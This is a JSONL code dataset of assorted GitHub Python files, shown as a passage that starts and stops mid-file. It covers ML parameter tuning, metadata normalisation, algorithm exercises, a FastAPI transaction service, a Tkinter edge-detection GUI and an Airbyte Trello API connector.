gs = gs.fit(X, y)\n #\n # # Show the full report (Yes: 1 ; No: 0)\n # if REPORT_NEED is 1:\n # print()\n # for number in range(len(param_range)):\n # print(\"%0.3f (+/-%0.03f) for %r\" % (gs.cv_results_['mean_test_score'][number],\n # gs.cv_results_['std_test_score'][number],\n # gs.cv_results_['params'][number],))\n # with open(\"./parameter_result/Tree_parameter.txt\", \"w\") as tree_parameter:\n # tree_parameter.write('mean_test_score: ' + str(gs.cv_results_['mean_test_score']) + '\\n' + 'std_test_score: ' +\n # str(gs.cv_results_['std_test_score']) + '\\nparameters: ' + str(gs.cv_results_['params']) +\n # '\\n' + 'Best parameters of Tree is: ' + str(gs.best_params_) + '\\n' +\n # 'Best score of Tree is: ' + str(gs.best_score_))\n # print(\"Best parameters of Tree is:\")\n # print(gs.best_params_)\n # print(gs.best_score_)\n\n \"\"\"\n if method is 'forest':\n \"\"\"\n # if METHOD is 'FOREST' or METHOD is 'ALL':\n # pip_forest = Pipeline([('scl', StandardScaler()), ('clf', RandomForestClassifier(random_state=1))])\n # param_grid = [{'clf__criterion': ['entropy'], 'clf__max_depth': max_depth_range}]\n # gs = GridSearchCV(estimator=pip_forest, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=-1)\n # gs = gs.fit(X, y)\n #\n # # Show the full report (Yes: 1 ; No: 0)\n # if REPORT_NEED is 1:\n # print()\n # for number in range(len(param_range)):\n # print(\"%0.3f (+/-%0.03f) for %r\" % (gs.cv_results_['mean_test_score'][number],\n # gs.cv_results_['std_test_score'][number],\n # gs.cv_results_['params'][number],))\n # with open(\"./parameter_result/forest_parameter.txt\", \"w\") as forest_parameter:\n # forest_parameter.write('mean_test_score: ' + str(gs.cv_results_['mean_test_score']) + '\\n' + 'std_test_score: ' +\n # str(gs.cv_results_['std_test_score']) + '\\nparameters: ' + str(gs.cv_results_['params']) +\n # '\\n' + 'Best parameters of Forest is: ' + str(gs.best_params_) + '\\n' +\n # 'Best score of Forest is: ' + str(gs.best_score_))\n # print(\"Best parameters of FOREST is:\")\n # print(gs.best_params_)\n # print(gs.best_score_)\n\n \"\"\"\n if method is 'knn'\n # \"\"\"\n # if METHOD is 'KNN' or METHOD is 'ALL':\n # # pip_knn = Pipeline([scl, lda, ('knn', KNeighborsClassifier())])\n # # param_grid = [{'lda__n_components': para_lda, 'knn__n_neighbors': range(1, 5, 1)}]\n # pip_knn = Pipeline([scl, ('knn', KNeighborsClassifier())])\n # param_grid = [{'knn__n_neighbors': range(1, 6, 1)}]\n # gs = GridSearchCV(estimator=pip_knn, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=-1)\n # gs = gs.fit(X, y)\n # if REPORT_NEED is 1:\n # print()\n # for number in range(5):\n # print(\"%0.3f (+/-%0.03f) for %r\" % (gs.cv_results_['mean_test_score'][number],\n # gs.cv_results_['std_test_score'][number],\n # gs.cv_results_['params'][number],))\n #\n # print(\"Best parameters of KNN is:\")\n # print(gs.best_params_)\n # print(gs.best_score_)\n\n\n\n","repo_name":"LeonHardt427/dendrobium_classification","sub_path":"supervised_learning/parameter_tuning.py","file_name":"parameter_tuning.py","file_ext":"py","file_size_in_byte":8749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"38022322283","text":"#!/usr/bin/python3\n\nimport scripts.util.biosample_json_utils as biosample_json_utils\nimport scripts.util.utils as utils\nimport re\n\n\ndef is_relevant_attribute(att_name, att_names_values_variations):\n for att in att_names_values_variations:\n if att_name == att['att_name']:\n return True\n else:\n for att_var in att['att_name_variations']:\n if att_name == att_var:\n return True\n return False\n\n\ndef extract_unique_attribute_names_values(samples, att_names_values_variations):\n \"\"\"\n Extracts the raw attribute names and their values, as well as their frequency\n :param samples:\n :return:\n {\n \"att_name1\": {\"unique_value11\": frequency_unique_value11, \"unique_value12\":\"frequency_unique_value12, ...]\n \"att_name2\": {\"unique_value21\": frequency_unique_value21, \"unique_value22\":\"frequency_unique_value22, ...]\n }\n \"\"\"\n unique_att_values = {}\n for sample in samples:\n sample_attributes = biosample_json_utils.get_attributes(sample)\n for att in sample_attributes:\n att_name = biosample_json_utils.get_attribute_name(att)\n if is_relevant_attribute(att_name, att_names_values_variations):\n if att_name not in unique_att_values:\n unique_att_values[att_name] = {}\n att_value = biosample_json_utils.get_attribute_value(att)\n if att_value not in unique_att_values[att_name]:\n unique_att_values[att_name][att_value] = 1\n else: # The value is already there. Increment its count\n unique_att_values[att_name][att_value] += 1\n return unique_att_values\n\n\ndef normalize_term(term, norm_terms = None):\n \"\"\"\n Basic normalization to ensure that the NCBO Annotator is able to annotate it\n :param term:\n :param norm_terms: Custom normalized values to help improve the annotation results\n :return:\n \"\"\"\n if norm_terms is not None and term in norm_terms and len(norm_terms[term]) > 0:\n return norm_terms[term]\n else:\n # term = utils.camel_case_to_space_delimited(term) # We removed this transformation because it's a source of mistakes\n # term = re.sub('([^A-Za-z0-9]+)|(uberon:)', ' ', term) # Errors when normalizing F-36P to F 36p\n term = re.sub(' +', ' ', term) # Multiple spaces to single space\n term = term.lower().strip() # To lowercase and strip\n return term\n\n\ndef normalize_term2(term):\n \"\"\"\n Deeper normalization. It removes all special symbols and spaces\n :param term:\n :return:\n \"\"\"\n term = re.sub('([^A-Za-z0-9]+)', '', term) # Errors when normalizing F-36P to F 36p\n term = term.lower()\n return term\n\n\ndef normalize_term_spaces(term):\n term = re.sub(' +', ' ', term) # Remove spaces\n return term\n\n\ndef normalize_term_caml_case(term):\n \"\"\"\n Deeper normalization\n :param term:\n :return:\n \"\"\"\n # term = utils.camel_case_to_space_delimited(term) # We removed this transformation because it's a source of mistakes\n # term = re.sub('([^A-Za-z0-9]+)|(uberon:)', ' ', term) # Errors when normalizing F-36P to F 36p\n term = re.sub('uberon:', ' ', term) # Remove uberon: prefix\n term = re.sub(' +', ' ', term) # Multiple spaces to single space\n term = term.lower().strip() # To lowercase and strip\n return term\n\n\n\ndef equal_norm_str(str1, str2):\n \"\"\"\n Checks if two normalized strings are equal\n :param str1:\n :param str2:\n :return: True if the normalized strings are equal. False otherwise\n \"\"\"\n if normalize_term(str1) == normalize_term(str2):\n return True\n else:\n return False\n\n\ndef contained_in_list_norm_str(str, str_list):\n \"\"\"\n Checks if a string is contained in a list of strings. The comparisons are done using normalized strings\n :return: boolean\n \"\"\"\n if str is None or len(str) == 0 or str_list is None or len(str_list) == 0:\n return False;\n else:\n str_norm = normalize_term(str)\n list_norm = [normalize_term(item) for item in str_list]\n if str_norm in list_norm:\n return True\n else:\n return False\n","repo_name":"metadatacenter/metadata-provider","sub_path":"metadata-provider-annotator/scripts/annotation/util/samples_annotator_util.py","file_name":"samples_annotator_util.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"29891495970","text":"from produto_regra import ProdutoRegra\ndef mostrar_menu() :\n print('1 - Cadastrar')\n print('2 - Visualizar')\n print('0 - Sair')\n\n opcao= -1\n try:\n opcao = int(input('Digite uma das opções: '))\n except ValueError:\n print('Valor informado deve ser um número!')\n\n if opcao > 2 or opcao < 0:\n print('Opção inválida')\n return 0\n\n return opcao\n\ndef main():\n produto_regra = ProdutoRegra()\n \n opcao_retornada = -1\n while opcao_retornada !=0:\n\n opcao_retornada=mostrar_menu()\n\n if opcao_retornada == 1:\n print('Escolheu a opção 1')\n\n elif opcao_retornada == 2:\n print2('Escolheu a opção 2 ') \n else:\n print('Escolheu a opção 0')\n \n\nmain()","repo_name":"AbduTarabay/projetos_poo","sub_path":"produto/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"4219741929","text":"import typing\n\nfrom common.timing import timeit\n\n\ndef count_points(grid) -> int:\n count = 0\n for row in grid:\n for num in row:\n if num != \".\" and num >= 2:\n count += 1\n return count\n\n\ndef draw_on_grid(grid, path):\n for x, y in path:\n\n if len(grid) <= y:\n for r in range(len(grid), y + 1):\n grid.append([])\n\n row = grid[y]\n if len(row) <= x:\n for c in range(len(row), x + 1):\n row.append(\".\")\n\n point = grid[y][x]\n if point == \".\":\n grid[y][x] = 1\n else:\n grid[y][x] += 1\n\n return grid\n\n\ndef calculate_path(x1, y1, x2, y2, ignore_diagonals: bool) -> typing.List:\n x_modifier = 1 if x2 >= x1 else -1\n y_modifier = 1 if y2 >= y1 else -1\n if x1 == x2:\n # vertical\n path = list(\n zip([x1] * (abs(y2 - y1) + 1), range(y1, y2 + y_modifier, y_modifier))\n )\n elif y1 == y2:\n # horizontal\n path = list(\n zip(range(x1, x2 + x_modifier, x_modifier), [y1] * (abs(x2 - x1) + 1))\n )\n else:\n # diagonal\n if ignore_diagonals:\n path = []\n else:\n path = list(\n zip(\n range(x1, x2 + x_modifier, x_modifier),\n range(y1, y2 + y_modifier, y_modifier),\n )\n )\n\n return path\n\n\n@timeit\ndef p1():\n grid = []\n with open(\"./input.txt\", \"r\") as f:\n for line in f:\n from_, to = [command.strip() for command in line.rstrip().split(\"->\")]\n x1, y1 = list(map(int, from_.split(\",\")))\n x2, y2 = list(map(int, to.split(\",\")))\n path = calculate_path(x1, y1, x2, y2, ignore_diagonals=True)\n draw_on_grid(grid, path)\n print(count_points(grid))\n\n\n@timeit\ndef p2():\n grid = []\n with open(\"./input.txt\", \"r\") as f:\n for line in f:\n from_, to = [command.strip() for command in line.rstrip().split(\"->\")]\n x1, y1 = list(map(int, from_.split(\",\")))\n x2, y2 = list(map(int, to.split(\",\")))\n path = calculate_path(x1, y1, x2, y2, ignore_diagonals=False)\n draw_on_grid(grid, path)\n print(count_points(grid))\n\n\nif __name__ == \"__main__\":\n print(\"======p1=====\")\n p1()\n print(\"======p1=====\")\n print(\"======p2=====\")\n p2()\n print(\"======p2=====\")\n","repo_name":"rameezk/advent-of-code-2021-python","sub_path":"day_2021_05/day_5.py","file_name":"day_5.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73183781860","text":"s=str(input().rstrip())\nmoji=[]\n\n\nfor i in range(len(s)): #できる単語の数\n if i == 0:\n moji.append(s)\n else:\n a=\"\"\n a += s[i:]\n a += s[:i]\n moji.append(a)\n\nmin=moji[0]\nmax=moji[0]\n\nfor i in range(1, len(s)):\n t=moji[i]\n \n if min>t:\n min=t\n elif max 0.40\n ) else -1\n # obj[\"distance_order_from_warehouse\"] < 300 and (obj[\"percentage_availability_of_products\"] < 0.60 or obj[\"percentage_availability_of_products\"] > 0.30) and obj[\"total_weight_of_order\"] < 200\n # ) else 0\n svmtable.append(obj) # Append table with SVM values (classifier, values ready to be modeled)\n return svmtable\n\ndef polynomialSVM(whid):\n # This function models the SVM of orders in relation (the features) to each warehouse based on the percentage\n # of products the warehouse of focus can supply and the distance to warehouse of focus\n\n # Retrieve Dataset\n dataset = _is_order_optimized_(\n './assets/warehouse_'+str(whid)+'.csv',\n )\n X = dataset.drop('classifier',axis=1)\n Y = dataset[\"classifier\"]\n\n # Splitting data into train and test\n xTrain, xTest, yTrain, yTest = train_test_split(\n X,\n Y,\n test_size = 0.20,\n random_state=0\n )\n\n # Feature scaling\n sc = StandardScaler()\n xTrain = sc.fit_transform(xTrain)\n xTest = sc.fit_transform(xTest)\n\n # Fitting Kernel SVM to the Training set.\n svcClassifier = SVC(\n kernel='rbf',\n random_state=0,\n max_mem_size=50000,\n n_jobs=8,\n C=100 # This value can vary for whether the margin is too 'hard' or too 'soft'\n )\n\n # pickling the files (serializing them and storing them)\n # This way, the model can run the data against other data\n svcClassifier.fit(xTrain,yTrain)\n svc_pickle = './assets/sv_pickle_rbf_'+str(whid)+'.sav'\n pickle.dump(svcClassifier, open(svc_pickle, 'wb'))\n\n # Predicting the test results\n polyPred = svcClassifier.predict(xTest)\n print(polyPred)\n\n # Confusion Matrix Print: SVM Classifier polyTest against the Test Labeled Data yTest\n print(\"Confusion Matrix\")\n print(confusion_matrix(yTest, polyPred))\n print(\"\\n\")\n \n # Classification report\n print(\"Classification Report\")\n print(classification_report(yTest, polyPred))\n print(\"\\n\")\n\n # Applying k-fold cross validation for accuracy purposes\n accuracies = cross_val_score(estimator = svcClassifier, X=xTrain, y=yTrain, cv=10)\n print(accuracies.mean())\n print(accuracies.std())\n\n # Visualising the Test set results\n from matplotlib.colors import ListedColormap\n X_set, y_set = xTest, yTest\n X1, X2 = np.meshgrid(\n np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01)\n )\n plt.contourf( # Creating the contouring lines\n X1,\n X2,\n svcClassifier.\\\n predict(np.array([X1.ravel(), X2.ravel()]).T).\\\n reshape(X1.shape),\n alpha = 0.5,\n cmap = ListedColormap(('blue', 'black'))\n )\n plt.xlim(X1.min(), X1.max())\n plt.ylim(X2.min(), X2.max())\n for i, j in enumerate(np.unique(y_set)): # Creating the scatter plots\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\n\n # labeling each plot\n plt.title('Kernel SVM (Training Data) Warehouse: ' + str(whid))\n plt.xlabel('Distance From Warehouse')\n plt.ylabel('Percentage of Available Products')\n plt.legend()\n plt.savefig('./assets/RBF'+str(whid)+'_'+str(int(time.time()))+'.png') \n plt.close()\n return False","repo_name":"eujc21/hash-drone","sub_path":"controllers/SVMController.py","file_name":"SVMController.py","file_ext":"py","file_size_in_byte":8539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8098103109","text":"from sqlalchemy import Column, Integer, String\n\nfrom eve_tools.database.sde_model import SdeBase\n\n\nclass EveUnit(SdeBase):\n __tablename__ = 'eveUnits'\n\n unitID = Column(Integer, primary_key=True)\n unitName = Column(String(100))\n displayName = Column(String(50))\n description = Column(String(1000))\n\n def __repr__(self):\n return 'unitID={}, unitName={}, displayName={}, description={}'.format(self.unitID, self.unitName,\n self.displayName, self.description)\n","repo_name":"MislavJaksic/EVE-Tools","sub_path":"eve_tools/database/sde_model/eve_unit.py","file_name":"eve_unit.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"36063802765","text":"# -*- codeing = utf-8 -*-\n# @Time : 2023-9-6 9:25\n# @Author : 刘永奇\n# @File : 剑指 Offer 24. 反转链表 -递归.py\n# @Software : PyCharm\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def reverseList(self, head: ListNode) -> ListNode:\n # 如果head为最后一个元素则直接返回为头节点\n if not head or not head.next:return head\n # 记录head节点的下一个节点\n tail = head.next\n # 递归调用进行反转,使用p记录反转后头节点\n p = self.reverseList(head.next)\n # 将tail后面节点接在head节点后\n head.next = tail.next\n # 将tail指向head节点\n tail.next = head\n return p","repo_name":"xs-web-lyq/LeetCode","sub_path":"Python/链表反转/剑指 Offer 24. 反转链表 -递归.py","file_name":"剑指 Offer 24. 反转链表 -递归.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14052748571","text":"from typing import List\n\nfrom fastapi import APIRouter, HTTPException\nfrom sqlalchemy.orm import Session\n\nfrom . import schemas, models\n\nrouter = APIRouter()\n\n\nclass TransactionService:\n @classmethod\n def create_transaction(cls, db: Session, transaction: schemas.TransactionCreate):\n obj = models.Transaction(**transaction.dict())\n db.add(obj)\n db.commit()\n db.refresh(obj)\n return obj\n\n @classmethod\n def get_transaction(cls, db: Session, transaction_id: int):\n obj = db.query(models.Transaction).filter(models.Transaction.id == transaction_id).first()\n if obj is None:\n raise HTTPException(status_code=404, detail=\"Transaction not found\")\n return obj\n\n @classmethod\n def get_transactions(cls, db: Session, skip: int = 0, limit: int = 100):\n return db.query(models.Transaction).offset(skip).limit(limit).all()\n\n @classmethod\n def update_transaction(cls, db: Session, transaction_id: int, transaction: schemas.TransactionCreate):\n obj = db.query(models.Transaction).filter(models.Transaction.id == transaction_id).first()\n if obj is None:\n raise HTTPException(status_code=404, detail=\"Transaction not found\")\n\n for key, value in transaction.dict().items():\n setattr(obj, key, value)\n db.commit()\n db.refresh(obj)\n return obj\n\n @classmethod\n def delete_transaction(cls, db: Session, transaction_id: int):\n obj = db.query(models.Transaction).filter(models.Transaction.id == transaction_id).first()\n if obj is None:\n raise HTTPException(status_code=404, detail=\"Transaction not found\")\n\n db.delete(obj)\n db.commit()\n return obj\n\n @classmethod\n def create_transactions_batch(cls, db: Session, transactions: List[schemas.TransactionCreate]):\n objs = [models.Transaction(**transaction.dict()) for transaction in transactions]\n db.bulk_save_objects(objs)\n db.commit()\n return objs\n","repo_name":"appunni-dishq/budget","sub_path":"app/transaction/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17123722512","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom PIL import Image, ImageTk\nimport os\nimport math\n\nclass GUI(Frame):\n\n def __init__(self, master=None):\n Frame.__init__(self, master)\n self.winfo_toplevel().title(\"Edge Detector\")\n\n w, h = 1280, 800\n master.minsize(width=w, height=h)\n master.maxsize(width=w, height=h)\n\n self.pack()\n self.path = \"default.jpg\"\n\n ### Menu\n menu_sub_frame = Frame(self)\n self.file = Button(menu_sub_frame, text='Browse Image', command=self.choose)\n self.cuda = Button(menu_sub_frame, text='Run', command=self.run_cuda)\n self.load_adjusted = Button(menu_sub_frame, text='Show Adjusted Image', command=self.load_adjusted)\n self.load_edge_detected = Button(menu_sub_frame, text='Show Edge Detected Image', command=self.load_edge_detected)\n \n alpha_sub_frame = Frame(menu_sub_frame)\n self.alpha_label = Label(alpha_sub_frame, text=\"Contrast\")\n self.alpha_slider = Scale(alpha_sub_frame, from_=0, to=100, length=150, orient=HORIZONTAL)\n self.alpha_slider.set(50)\n self.alpha_label.pack(side=BOTTOM)\n self.alpha_slider.pack(side=BOTTOM)\n \n\n beta_sub_frame = Frame(menu_sub_frame)\n self.beta_label = Label(beta_sub_frame, text=\"Brightness\")\n self.beta_slider = Scale(beta_sub_frame, from_=0, to=100, length=150, orient=HORIZONTAL)\n self.beta_slider.set(50)\n self.beta_label.pack(side=BOTTOM)\n self.beta_slider.pack(side=BOTTOM)\n\n threshold_sub_frame = Frame(menu_sub_frame)\n self.threshold_label = Label(threshold_sub_frame, text=\"Threshold\")\n self.threshold_slider = Scale(threshold_sub_frame, from_=0, to=255, length=150, orient=HORIZONTAL)\n self.threshold_slider.set(0)\n self.threshold_label.pack(side=BOTTOM)\n self.threshold_slider.pack(side=BOTTOM)\n\n\n self.file.pack(side=LEFT)\n self.cuda.pack(side=LEFT)\n self.load_adjusted.pack(side=LEFT)\n self.load_edge_detected.pack(side=LEFT)\n alpha_sub_frame.pack(side=LEFT, padx=10)\n beta_sub_frame.pack(side=LEFT, padx=10)\n threshold_sub_frame.pack(side=LEFT, padx=10)\n \n ### Canvas\n self.canvas_width = 1024\n self.canvas_height = 700\n\n canvas_sub_frame = Frame(self)\n img = Image.open(self.path)\n img = self.fit_image_to_canves(img)\n self.image = ImageTk.PhotoImage(img)\n self.canvas = Canvas(canvas_sub_frame, width=self.canvas_width, height=self.canvas_height)\n self.image_container = self.canvas.create_image(self.canvas_width/2, \n self.canvas_height/2, \n image=self.image, \n anchor=CENTER)\n self.canvas.pack(side=TOP)\n\n \n ### Root Frame\n \n canvas_sub_frame.pack(side=TOP)\n menu_sub_frame.pack(side=BOTTOM)\n\n\n def choose(self):\n try:\n ifile = filedialog.askopenfile(parent=self, mode='rb', title='Choose a file')\n img = Image.open(ifile)\n img = self.fit_image_to_canves(img)\n self.path = ifile.name\n\n self.image2 = ImageTk.PhotoImage(img)\n self.canvas.itemconfig(self.image_container, image=self.image2)\n except:\n pass\n # self.label.image=self.image2\n\n def run_cuda(self):\n print(\"Running CUDA\")\n print(self.path)\n alpha = self.get_alpha()\n beta = self.get_beta()\n thresh = self.get_threshhold()\n print(alpha, beta)\n os.system(\"./main.out \" + self.path + \" \" + str(alpha) + \" \" + str(beta) + \" \" + str(thresh))\n print(\"Done\")\n\n def load_adjusted(self):\n print(\"Loading Adjusted\")\n self.path = \"./sobel-out-adjust.jpg\"\n im = open(self.path, \"rb\")\n img = self.fit_image_to_canves(Image.open(im))\n self.image2 = ImageTk.PhotoImage(img)\n self.canvas.itemconfig(self.image_container, image=self.image2)\n print(\"Done\")\n\n def load_edge_detected(self):\n print(\"Loading Edge Detected\")\n self.path = \"./sobel-out.jpg\"\n im = open(self.path, \"rb\")\n img = self.fit_image_to_canves(Image.open(im))\n self.image2 = ImageTk.PhotoImage(img)\n self.canvas.itemconfig(self.image_container, image=self.image2)\n print(\"Done\")\n\n def get_alpha(self):\n raw_alpha = self.alpha_slider.get()\n\n if raw_alpha <= 50:\n alpha = 1.0 * (raw_alpha - 0) / (50 - 0) # [0, 1]\n alpha = math.sqrt(alpha) \n else:\n alpha = 1.0 * (raw_alpha - 50) / (100 - 50) # [0, 1]\n alpha = 1.1 ** (alpha*30) # exponential\n alpha += 1\n\n return alpha\n\n def get_beta(self):\n raw_beta = self.beta_slider.get()\n\n beta = 1.0 * (raw_beta - 0) / (100 - 0) # [0, 1]\n beta *= 300 # [0, 300]\n beta -= 150 # [-150, 150]\n\n return beta\n\n def get_threshhold(self):\n raw_thresh = self.threshold_slider.get()\n return raw_thresh\n\n def fit_image_to_canves(self, img):\n img_width = img.size[0] * 1.0\n img_height = img.size[1] * 1.0\n ratio = img_width / img_height\n\n if img_height > self.canvas_height:\n img_height = self.canvas_height\n img_width = ratio * img_height\n \n if img_width > self.canvas_width:\n img_width = self.canvas_width\n img_height = img_width / ratio\n \n return img.resize((int(img_width), int(img_height)))\n \n\nroot = Tk()\n\napp = GUI(master=root)\napp.mainloop()\nroot.destroy()\n","repo_name":"Savaw/Multicore","sub_path":"Project/GUI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"14036692042","text":"# uses python3\n\n\ndef eval(a, b, op):\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n else:\n return 0\n\n\ndef MinAndMax(i, j, op, m, M):\n mini = 100000\n maxi = -100000\n for k in range(i, j):\n a = eval(M[i][k], M[k + 1][j], op[k])\n b = eval(M[i][k], m[k + 1][j], op[k])\n c = eval(m[i][k], M[k + 1][j], op[k])\n d = eval(m[i][k], m[k + 1][j], op[k])\n mini = min(mini, a, b, c, d)\n maxi = max(maxi, a, b, c, d)\n return (mini, maxi)\n\n\ndef get_maximum_value(dataset):\n op = dataset[1:len(dataset):2]\n d = dataset[0:len(dataset) + 1:2]\n n = len(d)\n #iniitializing matrices/tables\n m = [[0 for i in range(n)] for j in range(n)] #minimized values\n M = [[0 for i in range(n)] for j in range(n)] #maximized values\n for i in range(n):\n m[i][i] = int(d[i])\n M[i][i] = int(d[i])\n for s in range(1, n):\n for i in range(n - s):\n j = i + s\n m[i][j], M[i][j] = MinAndMax(i, j, op, m, M)\n return M[0][n - 1]\n\n\nif __name__ == \"__main__\":\n dataset = list('7+6+3-2-7-4*2+4+2-9*6*8')\n print(get_maximum_value(dataset))\n","repo_name":"sabith-th/algorithms-data-structures-edx","sub_path":"Algorithm Design/Dynamic Programming/placing_parenthesis.py","file_name":"placing_parenthesis.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72851484201","text":"''' Осуществляет проверки перед переводом чисел '''\r\n\r\nclass fiveSysErrors:\r\n\r\n @staticmethod # Проверяет, что число является числом\r\n def checkNumber(number):\r\n if number.rfind('-') not in [0, -1] or number in ['.', '-'] or number=='': return False\r\n if number.count('.') not in [0, 1] or '-.' in number: return False\r\n for elem in number:\r\n if elem not in '0123456789.-':\r\n return False\r\n return True\r\n\r\n @staticmethod\r\n def checkFiveNumber(number): # Проверяет, что число является числом в 5 системе\r\n if fiveSysErrors.checkNumber(number):\r\n for elem in number:\r\n if elem != '.' and elem != '-' and int(elem) > 4:\r\n return False\r\n return True\r\n return False","repo_name":"Tulenenok/python","sub_path":"p2/fiveSystem/fiveSysErrors.py","file_name":"fiveSysErrors.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25654562551","text":"from abc import ABC\nfrom typing import Any, Iterable, List, Mapping, MutableMapping, Optional, Tuple\n\nimport requests\nfrom airbyte_cdk.sources import AbstractSource\nfrom airbyte_cdk.sources.streams import Stream\nfrom airbyte_cdk.sources.streams.http import HttpStream\nfrom airbyte_cdk.sources.streams.http.auth import HttpAuthenticator\n\nfrom .utils import TrelloRequestRateLimits as balancer\n\n\nclass TrelloStream(HttpStream, ABC):\n url_base = \"https://api.trello.com/1/\"\n\n # Define primary key as sort key for full_refresh, or very first sync for incremental_refresh\n primary_key = \"id\"\n\n # Page size\n limit = None\n\n extra_params = None\n\n def __init__(self, config: Mapping[str, Any]):\n super().__init__(authenticator=config[\"authenticator\"])\n self.start_date = config[\"start_date\"]\n self.config = config\n\n def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n return None\n\n def request_params(\n self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, Any] = None, next_page_token: Mapping[str, Any] = None\n ) -> MutableMapping[str, Any]:\n params = {\"limit\": self.limit, \"since\": self.start_date}\n if next_page_token:\n params.update(**next_page_token)\n if self.extra_params:\n params.update(self.extra_params)\n return params\n\n @balancer.balance_rate_limit()\n def parse_response(self, response: requests.Response, **kwargs) -> Iterable[Mapping]:\n json_response = response.json()\n for record in json_response:\n yield record\n\n\nclass ChildStreamMixin:\n parent_stream_class: Optional[TrelloStream] = None\n\n def stream_slices(self, sync_mode, **kwargs) -> Iterable[Optional[Mapping[str, any]]]:\n for item in self.parent_stream_class(config=self.config).read_records(sync_mode=sync_mode):\n yield {\"id\": item[\"id\"]}\n\n yield from []\n\n\nclass IncrementalTrelloStream(TrelloStream, ABC):\n cursor_field = \"date\"\n\n def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n json_response = response.json()\n last_record = next(reversed(json_response), {})\n next_page = last_record.get(\"id\")\n if next_page:\n return {\"before\": next_page}\n\n def request_params(\n self, stream_state: Mapping[str, Any], stream_slice: Mapping[str, Any] = None, next_page_token: Mapping[str, Any] = None\n ) -> MutableMapping[str, Any]:\n params = super().request_params(stream_state, stream_slice, next_page_token)\n if stream_state:\n params[\"since\"] = stream_state[self.cursor_field]\n return params\n\n def get_updated_state(self, current_stream_state: MutableMapping[str, Any], latest_record: Mapping[str, Any]) -> Mapping[str, Any]:\n return {self.cursor_field: max(latest_record.get(self.cursor_field, \"\"), current_stream_state.get(self.cursor_field, \"\"))}\n\n\nclass Boards(TrelloStream):\n \"\"\"Return list of all boards.\n API Docs: https://developers.intercom.com/intercom-api-reference/reference#list-attached-segments-1\n Endpoint: https://api.trello.com/1/members/me/boards\n \"\"\"\n\n def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n return \"members/me/boards\"\n\n\nclass Cards(ChildStreamMixin, TrelloStream):\n \"\"\"Return list of all cards of a boards.\n API Docs: https://developer.atlassian.com/cloud/trello/rest/api-group-boards/#api-boards-id-cards-get\n Endpoint: https://api.trello.com/1/boards//cards/all\n \"\"\"\n\n parent_stream_class = Boards\n limit = 20000\n extra_params = {\"customFieldItems\": \"true\"}\n\n def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n return f\"boards/{stream_slice['id']}/cards/all\"\n\n\nclass Checklists(ChildStreamMixin, TrelloStream):\n \"\"\"Return list of all checklists of a boards.\n API Docs: https://developer.atlassian.com/cloud/trello/rest/api-group-boards/#api-boards-id-checklists-get\n Endpoint: https://api.trello.com/1/boards//checklists\n \"\"\"\n\n parent_stream_class = Boards\n extra_params = {\"fields\": \"all\", \"checkItem_fields\": \"all\"}\n\n def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n return f\"boards/{stream_slice['id']}/checklists\"\n\n\nclass Lists(ChildStreamMixin, TrelloStream):\n \"\"\"Return list of all lists of a boards.\n API Docs: https://developer.atlassian.com/cloud/trello/rest/api-group-boards/#api-boards-id-lists-get\n Endpoint: https://api.trello.com/1/boards//lists\n \"\"\"\n\n parent_stream_class = Boards\n\n def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n return f\"boards/{stream_slice['id']}/lists\"\n\n\nclass Users(ChildStreamMixin, TrelloStream):\n \"\"\"Return list of all members of a boards.\n API Docs: https://developer.atlassian.com/cloud/trello/rest/api-group-boards/#api-boards-id-members-get\n Endpoint: https://api.trello.com/1/boards//members\n \"\"\"\n\n parent_stream_class = Boards\n\n def path(self, stream_slice: Mapping[str, Any] = None, **kwargs) -> str:\n return f\"boards/{stream_slice['id']}/members\"\n\n\nclass Actions(ChildStreamMixin, IncrementalTrelloStream):\n \"\"\"Return list of all actions of a boards.\n API Docs: https://developer.atlassian.com/cloud/trello/rest/api-group-boards/#api-boards-boardid-actions-get\n Endpoint: https://api.trello.com/1/boards//actions\n \"\"\"\n\n parent_stream_class = Boards\n limit = 1000\n\n def path(self, stream_slice: Mapping[str, Any] 